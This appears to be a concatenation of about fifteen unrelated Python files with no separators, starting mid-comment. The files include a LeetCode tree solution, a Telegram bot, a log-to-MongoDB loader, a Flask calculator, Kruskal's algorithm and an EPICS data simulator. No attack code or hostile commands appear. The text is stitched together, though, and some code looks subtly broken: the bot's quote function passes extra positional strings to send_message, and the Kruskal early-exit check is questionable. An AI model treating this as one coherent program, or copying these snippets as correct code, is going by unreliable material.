# Output: ["1->2->5","1->3"]
# Example 2:
#
# Input: root = [1]
# Output: ["1"]

# Definition for a binary tree node.
from typing import List

class TreeNode:
    def __init__(self, val=0, left=None, right=None):
        self.val = val
        self.left = left
        self.right = right

class Solution:
    def binaryTreePaths(self, root: TreeNode) -> List[str]:
        if not root:
            return []

        paths = []

        def recurse(node, path):
            path = list(path) + [str(node.val)]
            if not node.left and not node.right:
                paths.append(path)
            elif node.left and not node.right:
                recurse(node.left, path)
            elif node.right and not node.left:
                recurse(node.right, path)
            else:
                recurse(node.left, path)
                recurse(node.right, path)

        recurse(root, [])
        return ["->".join(path) for path in paths]


import os

### AWS
AWS_REGION=os.environ.get("AWS_REGION", "ap-northeast-1")
AWS_S3_ENDPOINT_URL=os.environ.get("AWS_S3_ENDPOINT_URL", None)
AWS_S3_BUCKET_NAME=os.environ.get("AWS_S3_BUCKET_NAME", "nstpc")
AWS_SQS_ENDPOINT_URL=os.environ.get("AWS_SQS_ENDPOINT_URL", None)
AWS_SQS_TRANSFER_QUEUE_NAME=os.environ.get("AWS_SQS_TRANSFER_QUEUE_NAME", "nstpc-transfer")

### preprocess
IMAGE_DIR=os.path.join(os.path.dirname(__file__), "..", "..", "images")
MAX_IMAGE_SIZE=int(os.environ.get("MAX_IMAGE_SIZE", 512))

### engine
EPOCH=int(os.environ.get("EPOCH", 500))
CONTENT_LAYERS=['block5_conv2']
STYLE_LAYERS=['block1_conv1', 'block2_conv1', 'block3_conv1', 'block4_conv1', 'block5_conv1']

# for Adam optimizer
LEARNIGN_RATE=0.02
BETA_1=0.99
EPSILON=0.1

# weights for loss
CONTENT_WEIGHTS=10000
STYLE_WEIGHTS=0.01
TOTAL_VARIATION_WEIGHTS=30


def Insert(qArr):
    item = input("Enter element to be inserted")
    qArr.append(item)

def Display(qArr):
    if(len(qArr)== 0):
        print("List is empty")
    else:
        print(qArr)

def Delete(qArr):
    if(len(qArr)== 0):
        print("List is empty")
    else:
        qArr.remove(qArr[0])

def main():
    qArr = []
    while(True):
        choice = int(input("Enter 1.Insert 2. Delete 3.Display 4.Exit:"))
        if(choice == 1):
            Insert(qArr)
        elif(choice == 2):
            Delete(qArr)
        elif(choice == 3):
            Display(qArr)
        else:
            print("Bye")
            break

if __name__ == "__main__":
    main()


import telebot
import sql_functions
import urllib.request
import json
import alice_vars
from alice_vars import bot
import bot_functions

def cat(message):
    chat_id = message.chat.id
    if sql_functions.check_user(alice_vars.db_name, 'Admins', chat_id):
        keyboard = alice_vars.keyboard_admin
    else:
        keyboard = alice_vars.keyboard_default
    try:
        f_name = message.from_user.first_name
        print(f_name, "requested for a kitty")
        photo = urllib.request.urlopen(
            'http://thecatapi.com/api/images/get')
        if chat_id < 0:
            bot.send_photo(chat_id, photo)
            print("Kitty launched.\n")
        elif chat_id > 0:
            bot.send_photo(chat_id, photo, reply_markup=keyboard)
            print("Kitty launched.\n")
    except Exception as e:
        bot.send_message(
            chat_id, "oops! something went wrong! try again.", reply_markup=keyboard)

def quote(message):
    chat_id = message.chat.id
    if sql_functions.check_user(alice_vars.db_name, 'Admins', chat_id):
        keyboard = alice_vars.keyboard_admin
    else:
        keyboard = alice_vars.keyboard_default
    try:
        quote = urllib.request.urlopen(
            'http://quotes.rest/qod.json').read().decode('utf-8')
        quote_json = json.loads(quote)
        bot.send_message(chat_id, "Quote of the day:\n\n", quote_json['contents']['quotes'][0]
                         ['quote'], "\n", quote_json['contents']['quotes'][0]['author'], reply_markup=keyboard)
    except Exception as e:
        bot.send_message(
            chat_id, "oops! something went wrong! try again.", reply_markup=keyboard)


'''
This class loads data from log files
into data dictionaries that can be queried
'''
import pandas as pd
import time
import pymongo
import numpy as np
import os
import sys
module_path = os.path.abspath(os.path.join('..'))
if module_path not in sys.path:
    sys.path.append(module_path)
from db.database import DatabaseConnector

class DataLoader():

    def __init__(self):
        '''
        init a dataloader instance
        '''
        #list of errors recorded while loading the data
        self.errors_list = []
        # list with all variable detected (can contain duplicates)
        self.var_list = []
        self.dbconnector = DatabaseConnector('vardb','27017')
        self.full_dict = {}

    def load(self,filepath):
        """load file into a pandas data frame and extract log information into required
        format type

        Returns
        -------
        int
            returns -1 if loading of the file was not successfull
            returns 1 if loading was successfull

        """
        self.filepath = filepath
        try:
            self.filename = self.filepath[self.filepath.index('/') + 1:-4]
        except: #given filename
            self.filename = self.filepath

        try:  # parse error handling for log files
            df = pd.read_csv(self.filepath, names=range(30), low_memory=False)
        except:
            print('Broken log file / File not found')
            self.errors_list.append(-1)
            return -1  # broken file

        if len(df) == 1:  # empty df
            print('Empty Dataframe')
            self.errors_list.append(-2)
            return -2  # broken file

        # use components as index and drop fully empty columns
        #commented to test adding line index in the dict to export
        self.df = df.dropna(axis=1, how='all')

        try:
            self.df[3] = self.df[3].str.strip() # cleaning third column
        except:
            print('Dataframe with weird column datatypes and structure')
            self.errors_list.append(-4)
            return -4
        try:
            #self.components = self.df.index.unique() # not unique
            self.components = self.df[0].unique()
            #filter components to ones with spaces
        except:
            print('Error in extracting components')
            self.errors_list.append(-3)
            return -3  # data not complete
        return 1  # read successfully

    def extractinfo(self,export=False,single_file=False):
        """Extract variable information from dataframe for each component
        Returns
        -------
        list of dataframes for each component
        """
        #creating an empty collection
        for c in self.components:
            if c == 'FMT': #ignoring FMT as a variable
                continue
            variable_name_list = []
            if 'FMT' in self.df[0].values:
                # getting all the values
                #c_labels = self.df.loc['FMT'][self.df.loc['FMT'][3] == c]

                c_labels = self.df.loc[self.df[0] == 'FMT'].loc[self.df[3] == c]
                if len(c_labels) > 0: #if that component was not found in the logs
                    c_labels =  c_labels.values[0][5:18]
                else: #empty FMT
                    continue

                # removing nan values
                c_labels = [ob for ob in c_labels if not ob is np.nan]
                c_labels = np.array([str(c).strip() for c in c_labels])  # cleaning the spaces
                var_recor = [c+'_'+sub for sub in c_labels]
                variable_name_list = [sub for sub in c_labels] #this is used for the exported dataframe
                self.var_list += var_recor #this is used for variable counting
                if 'RCIN_C13' in var_recor:
                    print('Variable exists here : ', self.filename)
                df_comp = self._non_equalcolumns(c, variable_name_list)
                if isinstance(df_comp,int): #component has inconsistent columns
                    print('Error in log', self.filename)
                    continue
                #add line index column to the dataframe

            else: #FMT Not in dataframe
                continue
            #add to dict and create a new collection for the data
            self.mydict= {}
            for col in df_comp.columns:
                    try: #if parsing to numeric fails the variable is ignored
                        self.mydict[col]= pd.to_numeric(df_comp[col]).tolist()
                        #insert dict into db
                    except:
                        #cannot be converted to numeric
                        self.mydict[col]= df_comp[col].tolist()
                        self.errors_list.append(-5)
            if export:
                self.dbconnector.set_collection(c+'_'+self.filename)
                resp = self.dbconnector.insert_dict(self.mydict)
                if resp == -1:
                    print('Dict insert error in file : {}'.format(self.filename))
            if single_file: #this is added when testing on a single file and not exporting
                self.full_dict[(self.filename,c)] = self.mydict.copy()

    def getcount(self):
        """returns a dataframe with the number of occurences for each variable found in the log files
        Returns
        -------
        dataframe ['variable','count']
        """
        if len(self.var_list) > 1:
            dt = {}
            uniq_var = set(self.var_list)
            for el in uniq_var:
                self.var_list.count(el)
                dt[el] = self.var_list.count(el)
        # dataframe
            return pd.DataFrame(dt, index=['count']).transpose()
        else:
            print('Please run load before trying to get count')
            return -1

    def _non_equalcolumns(self, comp, var_list):
        """Checks the var list vs the dataframe column list and
        creates a dataframe with the corrected column names for a specified component

        Parameters
        ----------
        comp: string
            component name
        var_list : string
            var list extracted from FMT

        Returns
        -------
        dataframe
            dataframe of the component with corrected columns names and th
            their corresponding values

        """
        #added to keep the line numbers in the dataframe
        #save index in a variable
        # dataframe with only the variable added

        try:
            df_comp = self.df.loc[self.df[0] == comp].dropna(axis=1, how='all')
            idx = df_comp.index
            df_comp = df_comp.set_index(0)
        except:
                # component not in the dataframe
                return -1
            # variables are always less than columns in the log files
        cnter=0
        if len(var_list) < len(df_comp.columns):
                # calculate the difference and add dummy columns
                 for i in range(len(df_comp.columns) -  len(var_list)):
                            var_list.append(comp+'_'+str(cnter))
                            cnter+=1
        if len(var_list) > len(df_comp.columns):
                    return -1
        #check if it's RollIn instead of DesRoll
        if comp == 'ATT':
            self._fix_varlist(var_list)
        #----------------------------------------
        df_comp.columns = var_list.copy()

        #add the column with the line index
        df_comp['lineIndex'] = idx.copy()
        return df_comp

    def _fix_varlist(self,varlist):
        """Fixing the naming schema for roll,pitch and yaw before exporting

        Parameters
        ----------
        varlist : list
            list of names extracted
        """
        for i,c in enumerate(varlist):
            if c == 'RollIn':
                varlist[i] = 'DesRoll'
            elif c == 'YawIn':
                varlist[i] = 'DesYaw'
            elif c == 'PitchIn':
                varlist[i] = 'DesPitch'


from Query import *
from FileReader import *
from Select import *
from Metadata import *
from Data import *
from LexerParser import *
class Main:
	database={}
	md=Metadata()

	statement=''
	while statement!='quit':
		statement=input("SQL>")
		statement=statement.lower()
		#statement=statement.replace(","," ")

		if statement == 'quit':
			break
		else:
			lexer = SqlLexer().build()
			parser = SqlParser().build()
			result = parser.parse(statement)
			if result != None:
				statement = result
				#print('Result: ' + str(result))
				q1=Query(statement,database)
				q1.classify_query();


from itertools import permutations

def solution(k, dungeons):
    answer = -1
    dun_list = list(permutations(dungeons, len(dungeons)))

    for dun in dun_list:
        tired = k
        cnt = 0
        for d in dun:
            if tired < d[0]:
                break
            else:
                tired -= d[1]
                cnt += 1
        answer = max(cnt, answer)

    return answer


from cgitb import reset
from http import HTTPStatus
from flask import Flask, jsonify, request
from flask_restful import Api, Resource, abort
from flask_cors import CORS

from util.math import math

app = Flask(__name__)
CORS(app)
api = Api(app)

# Create resource
class Operation(Resource):
    '''
    Perform operation on two integers based on request data.
    '''
    def post(self):
        data = request.get_json()
        result = math(operator=data["operator"], int1=data["int1"], int2=data["int2"])
        if result is None:
            abort(404, message="Error processing request.")
        return {
            "result": result
        }, HTTPStatus.OK

# Add Resources
api.add_resource(Operation, "/calculate")

# Normally dont keep debug=True if going to actual production.
if __name__ == "__main__":
    app.run(port=5000, debug=True)


'''
문제
그래프가 주어졌을 때, 그 그래프의 최소 스패닝 트리를 구하는 프로그램을 작성하시오.

최소 스패닝 트리는, 주어진 그래프의 모든 정점들을 연결하는 부분 그래프 중에서 그 가중치의 합이 최소인 트리를 말한다.

입력
첫째 줄에 정점의 개수 V(1 ≤ V ≤ 10,000)와 간선의 개수 E(1 ≤ E ≤ 100,000)가 주어진다. 다음 E개의 줄에는 각 간선에 대한 정보를 나타내는 세 정수 A, B, C가 주어진다. 이는 A번 정점과 B번 정점이 가중치 C인 간선으로 연결되어 있다는 의미이다. C는 음수일 수도 있으며, 절댓값이 1,000,000을 넘지 않는다.

그래프의 정점은 1번부터 V번까지 번호가 매겨져 있고, 임의의 두 정점 사이에 경로가 있다. 최소 스패닝 트리의 가중치가 -2,147,483,648보다 크거나 같고, 2,147,483,647보다 작거나 같은 데이터만 입력으로 주어진다.

출력
첫째 줄에 최소 스패닝 트리의 가중치를 출력한다.
'''

# Kruskal algorithm
import sys
import heapq as hq

v, e = map(int, sys.stdin.readline().split())
parents = [i for i in range(v+1)]

def find(node):
    if node == parents[node]: return node
    return find(parents[node])

def union(n1, n2):
    a = find(n1)
    b = find(n2)
    if a == b: return None
    to_node, from_node = a, b
    if a > b:
        from_node, to_node = to_node, from_node
    # therefore, to_node < from_node
    parents[from_node] = to_node
    return None

edges = []
for _ in range(e):
    a, b, c = map(int, sys.stdin.readline().split())
    if b < a: a,b = b,a
    hq.heappush(edges, (c,a,b))
sum_w = 0
while edges:
    weight, n1, n2 = hq.heappop(edges)
    if find(n1) != find(n2):
        union(n1, n2)
        sum_w += weight
        if sum([parents[i] for i in range(1, v+1)]) == v: break
print(sum_w)


#maxiumb sum sub array or largest continuos sum

def large_sum_cont(arr):
    if len(arr) == 0:
        return 0

    max_sum = current_sum = arr[0]

    for num in arr[1:]: #skip first elemnt as it is alrady set
        current_sum = max(current_sum + num,num)

        max_sum = max(current_sum,max_sum)

    return max_sum

arr = [1,2,-1,3,4,10,10,-10,-1]

a = large_sum_cont(arr)
print(a)


from datetime import datetime

from app.main.constants import (PLOT_SAVE_DIRECTORY, TIME_STAMP_FORMAT,
                                PlotStyle)
from app.main.models.wall import Wall
from matplotlib import pyplot as plt

'''
Description: This method contains helper functions for plotting and reporting.
'''

class ReportingHelper:
    @staticmethod
    def get_file_path(plot_type: str) -> str:
        '''
        Description: This method creates a file path for a plot with a given plot type.
        Params: plot_type: str
        Return: file_path: str
        '''
        now = datetime.now()
        date_time = now.strftime(TIME_STAMP_FORMAT)

        return PLOT_SAVE_DIRECTORY + date_time + plot_type + ".png"

    @staticmethod
    def legend_without_duplicate_labels(ax) -> list[tuple]:
        '''
        Description: This method is used to get unique values for plot_legend
        Params: ax: Axes
        Return: unique: list[tuple]
        Exception: None
        '''
        handles, labels = ax.get_legend_handles_labels()
        labels, handles = zip(*sorted(zip(labels, handles), key=lambda t: t[0]))
        unique = [(h, l) for i, (h, l) in enumerate(zip(handles, labels)) if l not in labels[:i]]
        return unique

    @staticmethod
    def plot_room_number_on_wall(wall: Wall, room_number) -> tuple[str, (float, float), (float, float), int, dict, dict]:
        '''
        Description: This method is used to plot room label on a wall
        Params: wall: Wall, room_number: str
        Return: message: str, xy: (float, float), xytext: (float, float), size: int, bbox: dict, arrowprops: dict
        Exception: None
        '''
        wall_x_coordinate = wall.start_point.x_coordinate
        wall_y_coordinate = wall.end_point.y_coordinate
        message = ("{}".format(room_number))
        size = PlotStyle.ROOM_LABEL_SIZE.value
        bbox = dict(boxstyle="round", fc="w", lw=0.25, alpha=0.75)
        arrowprops=dict(arrowstyle="-|>",connectionstyle="arc3", facecolor="black", lw=0.25)
        return message, (wall_x_coordinate, wall_y_coordinate), (wall_x_coordinate, wall_y_coordinate - PlotStyle.ROOM_LABEL_Y_POS.value), size, bbox, arrowprops


import unittest
from towhee import pipe, ops
from towhee.tools.graph_visualizer import GraphVisualizer

# pylint: disable=protected-access
class TestVisualizer(unittest.TestCase):
    """
    Unit test for Visualizer.
    """
    p0 = (
        pipe.input('path')
    )

    p1 = (
        p0.map('path', 'path', lambda x: x)
    )

    p2 = (
        p0.map('path', 'image', ops.image_decode.cv2())
            .window('image', 'image', 1, 1, lambda x: x)
            .filter(('path', 'image'), ('path', 'image'), 'path', lambda x: True)
    )

    p = p1.concat(p2).output('image')

    def test_show(self):
        v = GraphVisualizer(self.p.dag_repr)
        v.show()

        data = v._get_data()
        self.assertTrue(len(data), 7)


polydata = inputs[0]
# version 0.1
ALL =                      0b0 # This is not a bitmask
BARYON =               0b10
DARK_MATTER =         0b1000000000 # This is not a bitmask
BARYON_STAR =             0b100000
BARYON_WIND =            0b1000000
BARYON_STAR_FORMING =   0b10000000
DARK_AGN =             0b100000000

SELECTOR = DARK_MATTER

dsa = polydata.GetPointData()
mask = dsa.GetArray("mask")
numPoints = polydata.GetNumberOfPoints()
pts = vtk.vtkPoints()

# Create empty attribute arrays to copy over the selected particles' attributes
old_attributes = dict()
new_attributes = dict()
for x in dsa.keys():
    print("\tx: " + str(x))
    old_attributes[x]= dsa.GetArray(x)
    new_attributes[x] = dsa.GetArray(x).NewInstance()
    new_attributes[x].SetName(x)

n = 0
for i in range(0, numPoints):
    x,y,z = polydata.GetPoint(i)
    this_mask = mask[i]
    if SELECTOR == ALL:
        pass
    elif SELECTOR == DARK_MATTER:
        if this_mask & BARYON:
            continue
    else:
        if not (SELECTOR & this_mask):
            continue
    pts.InsertNextPoint(x,y,z)

    # Also copy the attributes
    for x in dsa.keys():
        new_attributes[x].InsertNextTuple1(old_attributes[x].GetTuple1(i))
    n+=1

output.SetPoints(pts)

# Add the new attribute arrays
for x in dsa.keys():
#    print("Adding attributes: " + str(x))
    output.GetPointData().AddArray(new_attributes[x])
# print("Amount of particles: " + str(n))


import argparse
from math import pi, sin, asin
import time
from time import sleep
import pvaccess as pva

class UnionTest:
    def __init__(self, **kwargs):
        """

        """
        self.dataStruct = {'ArrayId': pva.UINT,
                           'Time': [pva.DOUBLE],
                           'value': pva.PvUnion({'Sinusoid': [pva.FLOAT], 'Triangle': [pva.DOUBLE]}),
                           'Sinusoid': [pva.FLOAT],
                           'Triangle': [pva.FLOAT]}

        self.counts = 0
        step = kwargs.get("sample", 1000)
        self.time_interval = 1. / step

        self.pv = pva.PvObject(self.dataStruct)
        self.pvaServer = pva.PvaServer('{}:Scope:Data'.format(kwargs.get("pv", "Test")), self.pv)
        print("PV Name: {}:Union:Data".format(kwargs.get("pv", "Test")))

    def update(self):
        # sleep(0.1)
        time0 = time.time()
        ts = [time0 + self.time_interval * i for i in range(0, 100)]
        sinusoid = [sin(2 * pi * 1.1 * t + pi / 2) for t in ts]
        triangle = [(2 / pi) * asin(sin(2 * pi * 1.1 * t)) for t in ts]

        pv = pva.PvObject(self.dataStruct, {'ArrayId': self.counts,
                                            'Time': ts,
                                            'value': {'Sinusoid': sinusoid},
                                            'Sinusoid': sinusoid,
                                            'Triangle': triangle})
        self.pvaServer.update(pv)
        self.counts = self.counts + 1

def main():
    """
    Scope simulator main routine

    :return:
    """
    parser = argparse.ArgumentParser(
        description='Example using EPICS7 Union with pvaPy to provide data via EPICS7 pvAccess')

    parser.add_argument('--pv', type=str, default="Test",
                        help='EPICS PV name prefix. The full PV name will be {prefix}:Scope:Data'
                             'e.g. --pv=test, the full PV name will be "test:Scope:Data"')
    parser.add_argument('--freq', type=int, default=10,
                        help='data update frequency')
    parser.add_argument('--sample', type=int, default=1000,
                        help='data samples in 1 second')

    args = parser.parse_args()

    pvas = UnionTest(pv=args.pv, sample=args.sample)

    while True:
        pvas.update()
        sleep(1./args.freq)

if __name__ == "__main__":
    main()